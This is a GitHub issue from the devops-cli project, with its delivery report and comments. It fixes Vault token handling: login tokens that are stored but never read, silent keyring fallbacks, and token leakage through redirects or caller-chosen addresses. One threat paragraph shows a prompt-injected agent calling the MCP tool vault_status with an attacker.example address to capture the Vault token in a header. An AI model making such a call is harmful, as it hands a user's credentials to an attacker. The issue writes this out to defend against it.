Repository navigation
Description
Problem
devops vault login writes the token Vault issues to the OS keyring under vault_token. --store is the default (src/devops_cli/commands/vault.py:257-259,298-301). Nothing reads that entry back: grep -rn vault_token src/devops_cli finds the one write and no read. VaultSecretBroker takes its token only from its argument, VAULT_TOKEN or DEVOPS_CLI_VAULT_TOKEN (security/vault_broker.py:90-92). So after a successful login every command still builds a broker with no token (commands/vault.py:74,129,176,227,327).
What each consumer does today when it has no token:
vault getskips Vault and returns the keyring entry named after the key or the last path segment (vault_broker.py:134-141). The output does not say where the value came from. The not-found message says it "checked Vault and OS Keyring" even when Vault was skipped (commands/vault.py:139-142).vault syncreads through the same fallback. It gets a string or nothing instead of a dict, then prints "Synchronized 0 secret(s)" and exits 0 (vault_broker.py:195-199,commands/vault.py:237-238).vault setposts without a token. Vault refuses, and the user sees only "Failed to write secrets to Vault" (vault_broker.py:143-163,commands/vault.py:196-201).vault leases --revokepassesbroker.vault_token, which is None, toLeaseRegistry. Itstokenfield is optional (commands/vault.py:336-342,security/vault_lease.py:166). Vault refuses, andrevokelogs the HTTP status at debug level and returns False (vault_lease.py:58-61,257-271). The user sees only "Could not revoke lease" (commands/vault.py:347).devops gh secrets sync --source vaultresolves each name through the same fallback (github/secrets.py:121-125). With no token it uploads the local keyring value to GitHub Actions, and the result row reports the source asvault(github/secrets.py:183-222).VaultProviderin the shared secret chain gets nothing from Vault. It reads the keyring key again even thoughKeyringProvideralready missed it (security/secrets.py:236-253,338).
Having a token does not fix this on its own. _fetch_vault_kv2_secret returns None on any non-200 reply or exception (vault_broker.py:115-116,121-123). Once a stored token expires or lacks a policy for the path, get_secret silently falls back to the keyring again, and the user cannot tell that Vault refused.
Reading the stored token by default also widens where a token can be sent. Three paths carry it today, but only when VAULT_TOKEN is exported:
vault statusneeds no token, becausesys/healthis unauthenticated. Even so,get_statussends_get_headers()(vault_broker.py:177), which addsX-Vault-Tokenwhenever the broker has a token (vault_broker.py:95-98).vault status --addr Xbuilds the broker for any address (commands/vault.py:63-74). The MCP toolvault_status(vault_addr)passes the client's value to--addrunchecked (ai/mcp/server.py:1506-1512) and runs in-process (server.py:71-79). Vault calls allow private networks (vault_broker.py:113,158,179), sovalidate_service_urlchecks only the scheme and cloud-metadata hosts (core/validation.py:263-317,318-324), and any host is accepted. fix(security): the mcp telemetry_profile tool runs any program an mcp client names #980 states that MCP calls are untrusted input. A prompt-injected agent can therefore callvault_status(vault_addr="https://attacker.example")and receive the token in a header.vault loginstores only the token, not the address or namespace that issued it (commands/vault.py:301). A stored token would go to whateverVAULT_ADDRa later command uses.- The shared HTTP client follows redirects (
http/broker.py:75,98). httpx2 2.13.0 strips onlyAuthorizationon a cross-origin redirect (httpx2/_client.py:530-534). It also carries the request's extensions, includingallow_private_network, to the next hop (_client.py:469). SoX-Vault-Tokenfollows a redirect to another host. On a 307 or 308, so does a login body carrying asecret_idor a ServiceAccount JWT (vault_lease.py:39-65,107-112,147-152).
The allow_private_network=True on Vault calls is intended (AGENTS.md:416). The defect is that the token reaches an address the user did not configure.
Login has three gaps of its own:
- It ignores the result of
set_keyring_secret(commands/vault.py:301), which returns False when the keyring is locked (config/settings.py:703-710). In two other cases the token goes to an in-process dict that is lost when the command exits (settings.py:680-691):DEVOPS_CLI_HEADLESS_AUTHis set, or_ensure_keyring_backend()finds no encrypted backend (settings.py:116-134). In every one of these cases login still prints success. - That in-process case is the normal state of CI runners and pods without a Secret Service. Those are the environments the AppRole and Kubernetes methods exist for (
vault_lease.py:3-6,116-153). devops-cli never prints the token it obtains, so a login there does nothing that lasts beyond the command. - Nothing in
src/deletes a keyring entry (grep -rn delete_password src/devops_clifinds only knowledge-base text), so there is no way to remove a stored token.
Nothing in this area has changed since this issue was written on 2026-09-28. No commit after v0.2.23 touches commands/vault.py, security/vault_broker.py, security/vault_lease.py, security/secrets.py or github/secrets.py. None of the 2026-10-02 merges (#945 #946 #947 #957 #961 #962 #966 #971 #973 #976 #978 #979) touches Vault. Every file:line in the earlier body still holds, with one exception: http/broker.py:59-68 no longer shows lazy client creation, which is now at http/broker.py:83,94.
Acceptance criteria
Token resolution
-
VaultSecretBrokerresolves its token in this order:- the
vault_tokenargument; - the stored login token in the keyring, used only when its address and namespace match the broker's;
VAULT_TOKEN;DEVOPS_CLI_VAULT_TOKEN.
Keyring before environment is the order
build_default_resolverdocuments (security/secrets.py:334-338). The broker's docstring states this order. - the
-
vault loginstores one keyring record holding three things: the token, the Vault address it logged in to (normalized as the broker normalizes it,vault_broker.py:71-76), and the namespace, or none. The keyring key is one constant inconfig/constants.py, and bothvault loginand the broker use it. An entry that is not such a record, for example a bare token written before this change, is unusable, and the message says to rundevops vault loginagain. There is no migration. -
The broker looks up the keyring record and the environment variables through the shared resolver, with two
SecretRefs that have novault_path. As a result,devops vault auditrecords both lookups, andVaultProvidercannot recurse into the broker. -
The broker records which source supplied the token: argument, keyring, environment or none. When it skips a stored token, it also records why (issued for another address or namespace, or unreadable). It never records the value.
-
vault statusneeds no token. It adds a "Token" row that names the source, or "none". When a stored token was skipped, the row says so and names the address that issued it. -
Dry runs of
get,set,syncandleasesinclude the token source in their details and never fail because a token is missing.
Where a token is sent
get_statusnever sendsX-Vault-Token, whatever token the broker holds. This applies both tovault status --addrand to the MCP toolvault_status.- The stored token is sent only to the address and namespace it was issued for. A command whose effective address or namespace differs does not use it. It falls through to
VAULT_TOKENandDEVOPS_CLI_VAULT_TOKEN, and if neither is set, it fails as "no token" and names the issuing address. - Every Vault request, in
VaultSecretBrokerand invault_lease._post, carries an egress policy through the existing per-hop hook (CONST_HTTP_EGRESS_POLICY_EXTENSION,http/broker.py:59-60). The policy refuses any hop outside the origin of the Vault address. A refused redirect fails the command with a message naming the target origin. Neither the token nor a login body is sent there. vault syncnever writes the login-token key. A Vault field with that name is skipped, and the output says so.
Missing or rejected token
- With no usable token,
vault set,vault syncand everyvault leasesmode exit 1 before any HTTP request. The message namesdevops vault login,VAULT_TOKENandDEVOPS_CLI_VAULT_TOKEN. It follows the missing/rejected wording ofcredentials_errorfrom fix(ai): an unset API key fails as a generic network error instead of naming the missing key #465 (ai/client/models.py:72-85). - When Vault answers 401 or 403, the command exits 1. The message says that Vault rejected the token from the named source and gives the HTTP status. It says that the token may have expired, been revoked, or have no policy for the path, and it names
devops vault login. No keyring fallback follows a rejection. - When Vault refuses
vault leases --revoke X, the message includes the HTTP status Vault returned, not only "Could not revoke lease".
Vault-only reads
vault getreads Vault when it has a token. It falls back to the keyring only in three cases: there is no usable token, Vault has no secret at the path (404), or Vault is unreachable. It never falls back after a 401 or 403, or after a refused redirect. The output names the source that answered. The not-found message names only the sources that were actually checked.vault syncreads Vault only and never treats a keyring value as Vault data. A path with no secret exits 1 instead of printing "Synchronized 0 secret(s)".devops gh secrets sync --source vaultreads Vault only. A missing or rejected token fails the command through the existing handler (commands/gh.py:1776-1778) with the token message, and nothing is uploaded. A key that is absent from Vault is reported as missing and never filled from the keyring.VaultProviderreads Vault only, sinceKeyringProviderhas already tried the keyring. It makes no request when there is no usable token. It still returns None on any Vault failure, so one source cannot break resolution.
Login and logout
- When
--storeis in effect and the token did not reach the OS keyring,vault loginexits 1 with the reason. That covers two cases:set_keyring_secretreturned False, or the write went to the in-process store (settings.py:680-691). The message names--no-storeas the way to check the credentials without keeping a token. It also says that runs without an OS keyring, such as CI runners and pods, takeVAULT_TOKENfrom their platform's Vault integration. The token is never printed. - The help for
--no-storesays that it checks the credentials without keeping the token, and that this is the form for CI and in-cluster runs. The help for--method kubernetessays the same. - A new
devops vault logoutrevokes the stored token at the address and namespace stored with it. It callsauth/token/revoke-self, a new constant besideconfig/constants.py:1590-1600. It then deletes the record from the keyring. If Vault is unreachable or the token has already expired, it still deletes the local copy and says that the revoke did not happen. With no stored token, it says so and exits 0.
Types
LeaseRegistry.tokenbecomes a requiredstr(vault_lease.py:166), and so doestokenontransit_encryptandtransit_decrypt(vault_lease.py:315,348).mypy --strict(.github/workflows/ci.yml:57) then refusestoken=broker.vault_token(commands/vault.py:339) until the command handles the missing case.
Tests (offline: HttpClientBroker.request patched, or httpx2.MockTransport for redirects; keyring patched; example.com hosts only)
- With the environment unset and a keyring record for the broker's address, the broker sends the token, and the reported source is the keyring.
- With both a matching keyring record and
VAULT_TOKENset, the keyring wins. The argument beats both. - A record stored for
https://example.com:8200is not sent whenVAULT_ADDRishttps://example.com:8201. The same holds for a record with a different namespace. WithVAULT_TOKENalso set, the environment token is sent. Without it,vault statusnames the issuing address, andvault setexits 1 before any request. - A bare-string
vault_tokenentry is not sent, and the message says to log in again. - With a matching record, and separately with
VAULT_TOKENset,vault status --addr https://example.comsends noX-Vault-Token. The same holds for the MCP toolvault_status(vault_addr="https://example.com"). - A 307 from
https://example.com:8200tohttps://example.com:8443is refused for a token-carrying GET and for a login POST, and no request reaches the second origin. A same-origin redirect is still followed. - The MCP tools that run with a token (
vault_get,vault_set,vault_sync) have no address parameter (signature test). vault syncof a secret whose fields include the login-token key leaves the stored record unchanged.- With no usable token,
vault set,vault syncandvault leases --revoke Xexit 1 naming the three sources, and no request is made. - On a 403,
vault getexits 1 and does not read the keyring fallback, andgh secrets sync --source vaultuploads nothing. - On a 404 with a token,
vault getanswers from the keyring and says so. VaultProviderwith no token makes no request. With a token and a 403, it returns None.- Resolving the broker token through the shared resolver does not construct a second broker.
- When
set_keyring_secretreturns False,vault loginexits 1. WithDEVOPS_CLI_HEADLESS_AUTH=1and the default--store, it exits 1 and names--no-store. With--no-store, it exits 0 and stores nothing. On success, it writes one record under the constant key, holding the token, address and namespace. vault logoutrevokes at the stored address even whenVAULT_ADDRnow points elsewhere, then deletes the record. With Vault unreachable, it still deletes the record and says so.test_registry_headers_omit_absent_credentials(tests/test_secret_resolution.py:698-702) is replaced by a test showing that the headers always carry the token. The tests that pin the old fallback (tests/test_vault_broker.py:60-68,142-162) change with it.- No test leaves a Vault token in the process-wide in-process store (
settings.py:627), so the suite's secret lookups never reach Vault. uv run devops cipasses.
Person-run check (needs a dev Vault; not part of CI)
- Run
devops vault login --method approle --role-id ... --secret-id ..., thendevops vault status. It shows Token: keyring. devops vault get <path>answers from Vault.- With
VAULT_ADDRchanged to another address,devops vault statussays that the stored token is not used and names the address that issued it. - After
devops vault logout,devops vault get <path>says that there is no token and that Vault was not consulted.
Key questions
- Should the keyring come before
VAULT_TOKEN? Proposed: yes, when the stored token was issued for the current address and namespace. That is the uniform chain from feat(security): unify secret resolution and manage Vault lease lifecycle #353 (security/secrets.py:334-338, and the note atconfig/settings.py:958-964). The cost is that a stale stored token for the same Vault shadows an exportedVAULT_TOKEN.vault loginreplaces the stored token andvault logoutremoves it, which is why logout is part of this item. A token stored for another address no longer shadows anything. The alternative is environment first, as HashiCorp's CLI does it. That would make this one secret an exception to the uniform order. - Should the stored token be bound to the address and namespace that issued it? Proposed: yes. HashiCorp's own token helper (
~/.vault-token) does not bind, but here the address can come from an untrusted caller (the MCPvault_statustool today), and a user may pointVAULT_ADDRat a dev Vault and a production Vault in turn. Binding costs two fields in the record, andvault logoutneeds the address anyway.VAULT_TOKENstays unbound. It is the user's explicit, per-shell choice, the same as with HashiCorp's CLI. - Does refusing cross-origin redirects break Vault HA? Proposed: no, not in the default setup. Standby nodes forward requests to the active node by default. A 307 to the active node happens only when request forwarding is off or failing. In that case, the refusal message names the target origin, so the user can set
VAULT_ADDRto it or to a load balancer in front of the active node. httpx2 already stripsAuthorizationon a cross-origin redirect (httpx2/_client.py:530-534), andX-Vault-Tokengets the same treatment here. - How do CI runners and pods without an OS keyring get a usable token? Proposed: that is out of scope. Those runs supply
VAULT_TOKENfrom their own Vault integration (Vault Agent, the Vault CSI provider, or the CI system's Vault plugin). There,devops vault login --no-storeis a credential check. The--no-storeand--method kuberneteshelp says so, and the failure message for--storepoints to it. The other option, where the broker logs in on demand from AppRole credentials or the ServiceAccount token, would add a second token source with its own lifetime and renewal. That belongs with the lease work that has no producer yet (see "Out of scope"). - Should
vault getkeep its keyring fallback? Proposed: yes. The keyring is the offline cache thatvault syncfills (commands/vault.py:220). The fallback applies only with no usable token, on a 404, or when Vault is unreachable. It never applies after a 401 or 403, or after a refused redirect. The output always names the source. - Should the Vault token become a config option in
KEYRING_KEYS(config/options.py:236-248)? Proposed: no.vault loginwrites the record, and CI uses the environment. refactor(github): one github session per identity owning token, quota and transport #767 (v0.2.26) is also reshaping that registry. One constant for the keyring key is enough. - Which error does a missing or rejected token raise? Proposed:
VaultAuthenticationError(exceptions/vault.py:89-111,VAULT_AUTH_ERROR), with its docstring widened from login failures to "no usable token". Commands report it throughexit_on_error(core/cli.py:184-198). - Does reading the stored token widen what MCP clients can do? Proposed: yes. This item contains it with the criteria above and adds no other gate. The four Vault tools run in-process (
ai/mcp/server.py:71-79) and so act with the user's Vault identity:vault_statusis the only tool where the client chooses the address (server.py:1506-1512). It never sends a token.vault_get(server.py:1515-1520) gets its address from the environment. Its path is checked byVAULT_PATH_PATTERNandvalidate_no_path_traversal(commands/vault.py:25,44-55), so the client cannot change the host. The tool passes no--show, so values come back redacted (commands/vault.py:144-150). Field names are visible.vault_setandvault_sync(server.py:2007-2026) write with the user's token, the same way the gh tools act with the stored GitHub token. feat(mcp): mcp tools declare ToolAnnotations, and mutating tools require approval in devops-cli's own agent loop #857 (v0.2.28) annotates them as mutating, but gates them only in devops-cli's own agent loop. External clients rely on their own permission prompts. The binding and the redirect refusal keep any of these from sending the token to a host the user did not configure. The signature test keeps an address parameter from being added to the token-carrying tools.
- What does a stored token cost lookups in the shared chain? Proposed: no change in this item. With a stored token, a keyring miss now asks Vault, bounded by the 0.8 s probe timeout per lookup (
config/defaults.py:456). That is feat(security): unify secret resolution and manage Vault lease lifecycle #353's design, and an exportedVAULT_TOKENalready costs the same. No caching is added. - Do
vault leaseslisting and--renewbecome useful? Proposed: no, and that is out of scope. Nothing outsidevault_lease.pycalls.track((onlyvault_lease.py:199), and the registry lives for one process (commands/vault.py:27-41). Only--revokedoes real work. - Should Rust-style type-state be ported? Proposed: no. Python cannot consume
self, and the other wrappers already connect on first use (valkey/client.py:194-195,http/broker.py:83,94). A requiredstrtoken, checked bymypy --strict, is the check. - Should
hvacbe added? Proposed: no. feat(security): unify secret resolution and manage Vault lease lifecycle #353 kept Vault on the shared, egress-validated HTTP broker, andhvacwould bypass it. It also would not read this project's keyring entry. - Is this a critical fix? Proposed: no. It is a P1 defect. No Vault ships with the stack, so it is the first item to wait if v0.2.29 runs short of slots. The token-exposure criteria ship in the same PR as the stored-token read, never after it.
Out of scope, as separate issues (not yet filed): LeaseRegistry has no producer and lives for one process; SqliteStepStore raises a bare AssertionError after close() (ai/durable.py:134,153,177).
Depends on: none.
Related: #353 (unified chain and Vault lease lifecycle), #465 (credential message style), #767 (v0.2.26, changes the secret registry in security/secrets.py; this item lands after it), #857 and #839 (v0.2.28, MCP vault tools: annotations, and failing output reaching the client), #980 (v0.2.25, MCP calls are untrusted input), #688 (backlog, the secops tab shows the token's TTL). Within v0.2.29, no other item touches the Vault or secret-resolution files, so the order is free.
Source: vibes observations/polyglot/01-rust-type-state-invariants.md.
Update 2026-10-08: delivered scope
Update 2026-10-08 (delivered scope)
Delivered on fix/709-vault-stored-login-token as one change. All acceptance criteria are met except the person-run check, which needs a dev Vault.
How the delivered scope differs from the body:
- Login persistence (amended): with
--store,vault logincallsrequire_persistent_keyring()before the login request, so Vault issues no orphan token. It writes the record withkeyring_write()(both helpers added in v0.2.26) and does not look atset_keyring_secret's bool or the in-memory store. The criterion "set_keyring_secret returns False" is now "keyring_write raises". UnderDEVOPS_CLI_HEADLESS_AUTH, no login request is made. A newkeyring_delete()(keyring.delete_password) servesvault logout. - Audit (amended): the audit trail records each token lookup the broker makes. The environment is not looked up when the stored record wins.
- Outcomes the body left undefined:
- A 200 whose secret lacks the requested field counts as "no value in Vault", the same as a 404.
vault getfalls back to the keyring; Vault-only reads report the field missing. - Any other non-2xx status (503 sealed, 429, 400) and a body without JSON secret data exit 1 with the status, with no fallback.
- "Unreachable" means
httpx2.TransportError, raised as the newVaultUnreachableError.
- A 200 whose secret lacks the requested field counts as "no value in Vault", the same as a 404.
- Locked keyring: the record is read through the shared resolver, so a locked keyring reads as "no stored token". The existing "OS keyring is locked" warning names the cause.
vault logoutuseskeyring_readand exits 1 on a locked keyring. - Request path: every Vault request, broker and
vault_lease._postalike, goes through the newsecurity/vault_http.vault_request. It carries a same-origin policy onCONST_HTTP_EGRESS_POLICY_EXTENSION, comparinghttpx2.URL.origin. fix(security): every HTTP client dials only addresses its egress level allows, checked at the connect and on every redirect #898 overlaps: whichever lands second movesvault_requestonto fix(security): every HTTP client dials only addresses its egress level allows, checked at the connect and on every redirect #898's Vault client and keeps the policy extension. - Also changed:
VaultLeaseErrorcarriesstatus_code.LeaseRegistry.revokeraises instead of returning False, andrevoke_allreturns the ids Vault refused.- A Vault refusal of
vault loginis reported, where it used to be a traceback. vault syncexits 1 when requested fields are missing or the keyring refuses a write.vault logouthonours the global dry run. It deletes a barevault_tokenentry without sending it anywhere, and exits 0 when only the revoke failed.
- Dry run (feat(cli): reachable
--dry-runpreviews for delegated commands #412):devops gh secrets sync --source vault --dry-runno longer reads Vault. Without this change, the stored token would have made that dry run send Vault requests for every logged-in user. - Corrected premises:
- feat(mcp): mcp tools declare ToolAnnotations, and mutating tools require approval in devops-cli's own agent loop #857 has not shipped (open, no milestone), so
vault_setandvault_synccarry no mutating annotation. As decided, no other gate was added. - refactor(github): one github session per identity owning token, quota and transport #767 has landed, so the order requirement is met.
- httpx2 is 2.13.1, with the same redirect code.
- "No commit after v0.2.23" should read "only cosmetic v0.2.26 edits".
- Cited lines drifted: settings keyring code
:729-868(_EPHEMERAL_CI_SECRETS:729,_keyring_set:776-795), MCP vault toolsserver.py:1706-1720,2207-2226, constants:1881-1894, mypy strict comes frompyproject.tomlviadevops ci.
- feat(mcp): mcp tools declare ToolAnnotations, and mutating tools require approval in devops-cli's own agent loop #857 has not shipped (open, no milestone), so
- Accepted as-is:
VaultProviderkeeps the broker it built, so a long-lived process sees a later login or logout only after a restart. - Still open: the person-run check (login, status shows Token: keyring, get answers from Vault, a changed VAULT_ADDR shows the skipped token, logout, then get says no token).
Metadata
Metadata
Assignees
Labels
Type
Projects
- StatusShow more project fieldsDone
Activity
dan-petty commentedon Sep 30, 2026
Moved from v0.2.25 to the backlog. v0.2.25 is capped at 12 items (#740), and only the next two planned releases keep a milestone (#739), so P2 items wait in the backlog until reprioritization pulls them in.
dan-petty commentedon Oct 2, 2026
Grooming (2026-10-02): Priority p2-medium → p1-high. This is a defect, not a feature. After
vault login --store,vault getsilently returns the keyring value instead of Vault's, andleases --revokefails. That is a broken command with secret-source confusion. It is the first to wait if slots run short, since no Vault ships here.Checked against the code at the release/v0.2.25 tip.
dan-petty commentedon Oct 2, 2026
Placed in v0.2.29 on 2026-10-02. v0.2.29 holds P1 work that has to land before v0.3.0, which v0.2.25 to v0.2.28 had no room for. Backlog P1 items were ranked by Value, then Effort, with defects and security fixes first at a tie. This item ranked in the top ten, and two of the release's twelve slots stay open for P1 items that surface before then.
dan-petty commentedon Oct 2, 2026
Refined to Ready on 2026-10-02 for v0.2.29. The body was checked claim by claim against release/v0.2.25 at 9c879ae, and a second agent then tried to refute it; every major objection was resolved in a revision. Cited lines were updated for code that moved, and the scope was corrected where merged work changed it. Acceptance criteria were tightened so each fails on the current code, and every key question now has a proposed answer.
dan-petty commentedon Oct 3, 2026
Lines cited at dcafadf.
What #898 changes for Vault
allow_private_network=Truetoday:security/vault_broker.py:113,:158and:179, andsecurity/vault_lease.py:56.HttpClientBroker.requestandarequestcopy that flag into a request extension (http/broker.py:126-127,:152-153).allow_private_networkper request.What this item keeps
CONST_HTTP_EGRESS_POLICY_EXTENSION, which the broker's request hook reads (http/broker.py:59-60). It stays: set it on every Vault request as this item's criteria say.Both items are planned for v0.2.29. Whichever lands second adapts to the other.
fix(security): vault commands use the token `devops vault login` stor…
dan-petty-bot commentedon Oct 8, 2026
What changed
#1377, merged into
release/v0.2.29as 3d3e6f5.24 file(s) changed.
How it was verified
Check runs at 9fa9c59:
Acceptance Criteria of
docs/agent/tasks/task-709-vault-commands-use-the-token-devops-vault-login-stores.md:Token resolution
VaultSecretBrokerresolves argument, then the keyring record (only for its own address and namespace), thenVAULT_TOKEN, thenDEVOPS_CLI_VAULT_TOKEN; the docstring states the order (tests/test_vault_broker.py:test_stored_login_supplies_the_token_when_the_environment_has_none,test_keyring_outranks_the_environment_and_the_argument_outranks_both,test_devops_cli_vault_token_is_the_last_source).vault loginstores one record underCONST_VAULT_LOGIN_KEYRING_KEYholding the token, the normalized address and the namespace (test_login_stores_one_record_bound_to_the_issuing_vault); a bare-string entry is unusable and the message says to log in again (test_a_bare_token_entry_is_unusable). No migration.SecretRefs that carry novault_path;devops vault auditrecords each lookup the broker makes, by name (test_token_lookups_are_audited_by_name_never_by_value), andVaultProviderbuilds no second broker (test_resolving_the_broker_token_builds_no_second_broker).VaultTokenSource).vault statusneeds no token and shows a Token row naming the source, or the address a skipped token was issued for (test_vault_status_names_the_stored_token,test_vault_status_names_the_address_a_skipped_token_was_issued_for).get,set,syncandleasesinclude the token source and make no request, with or without a token (test_dry_runs_name_the_token_source_and_make_no_request).Where a token is sent
get_statusnever sendsX-Vault-Token, forvault status --addrand for the MCPvault_statustool (test_status_never_sends_a_token,test_mcp_vault_status_never_sends_a_token).test_stored_login_for_another_vault_is_never_sent).vault_lease._post, goes throughsecurity/vault_http.vault_request, which sets a same-origin policy onCONST_HTTP_EGRESS_POLICY_EXTENSION; a 307 to another origin is refused for a token GET and for an AppRole login POST, nothing reaches the second origin, and the error names it; a same-origin redirect is still followed (test_a_redirect_to_another_origin_is_refused,test_a_login_body_never_follows_a_redirect_to_another_origin,test_a_same_origin_redirect_is_followed).vault syncnever writes the login-token key and says it skipped it (test_sync_reads_vault_alone_and_never_writes_the_login_key,test_vault_sync_reports_the_skipped_login_key_and_missing_fields).vault_get,vault_set,vault_sync) take no address (test_the_token_carrying_vault_tools_take_no_address).Missing or rejected token
vault set,vault syncand everyvault leasesmode exit 1 before any request, namingdevops vault login,VAULT_TOKENandDEVOPS_CLI_VAULT_TOKENin the missing/rejected wording of fix(ai): an unset API key fails as a generic network error instead of naming the missing key #465 (test_commands_needing_a_token_exit_before_any_request_without_one).devops vault login, with no keyring fallback (test_a_rejected_token_raises_and_never_falls_back,test_vault_get_on_a_rejected_token_exits_without_reading_the_keyring,test_leases_revoke_with_a_rejected_token_names_its_source).vault leases --revoke Xprints the HTTP status (test_leases_revoke_refusal_names_the_status).Vault-only reads
vault getreads Vault with a token and falls back to the keyring only with no usable token, on a 404 or a missing field, or when Vault is unreachable; the output names the answering source, and the not-found message names only the sources checked (test_no_value_in_vault_falls_back_to_the_keyring,test_an_unreachable_vault_falls_back_to_the_keyring,test_vault_get_not_found_names_only_the_sources_checked,test_vault_get_on_a_404_answers_from_the_keyring_and_says_so).vault syncreads Vault only; a path with no secret exits 1 (test_vault_sync_of_an_empty_path_exits_1).devops gh secrets sync --source vaultreads Vault only: a rejected token fails the command through its handler and nothing is uploaded; an absent key is missing and never read from the keyring (tests/test_github_secrets.py).VaultProviderreads Vault only, makes no request without a token, and returns None on a 403 (test_vault_provider_without_a_token_makes_no_request,test_vault_provider_with_a_rejected_token_answers_none).Login and logout
--store,vault loginchecks for an encrypted, unlocked keyring before the login request and exits 1 naming--no-storeand the CI/podVAULT_TOKENroute when there is none (test_login_without_a_persistent_keyring_exits_before_logging_in), and exits 1 when the keyring refuses the write (test_login_fails_when_the_keyring_refuses_the_token).--no-storeexits 0 and stores nothing. The token is never printed.--no-storeand--methodhelp name the no-store form for CI and in-cluster runs.devops vault logoutrevokes at the stored address and namespace (auth/token/revoke-self,CONST_VAULT_PATH_TOKEN_REVOKE_SELF) even whenVAULT_ADDRpoints elsewhere, then deletes the record; with Vault unreachable it still deletes and says the revoke did not happen; with no record it says so and exits 0; a bare entry is deleted without being sent anywhere; a dry run sends and deletes nothing (tests/test_vault_cmd.py, logout section).Types
LeaseRegistry.tokenand thetokenoftransit_encryptandtransit_decryptare a requiredstr;vault leasespassesbroker.require_token().Tests
HttpClientBroker.requestpatched, orstub_webfor redirects (StubWeb.redirecttakes a status);example.comhosts only.test_registry_headers_omit_absent_credentialsis replaced bytest_registry_headers_always_carry_the_token; the fallback, revoke,VaultProviderand gh tests that pinned the old behaviour changed with it.isolate_vault_tokenfixture clears the login entry from the in-process store in place, resets the process-wide resolver (whoseVaultProviderkeeps its broker) and drops the session lease registry.uv run devops cipasses.Person-run check (needs a dev Vault)
devops vault login --method approle --role-id <id> --secret-id <secret>, thendevops vault statusshowsToken keyring;devops vault get <path>answers "(from vault)"; withVAULT_ADDRset to another address,devops vault statusshowsnone (stored token not used: issued for <address>); afterdevops vault logout,devops vault get <path>says "Vault was not consulted: no usable token".feat(release): v0.2.29 (#1455)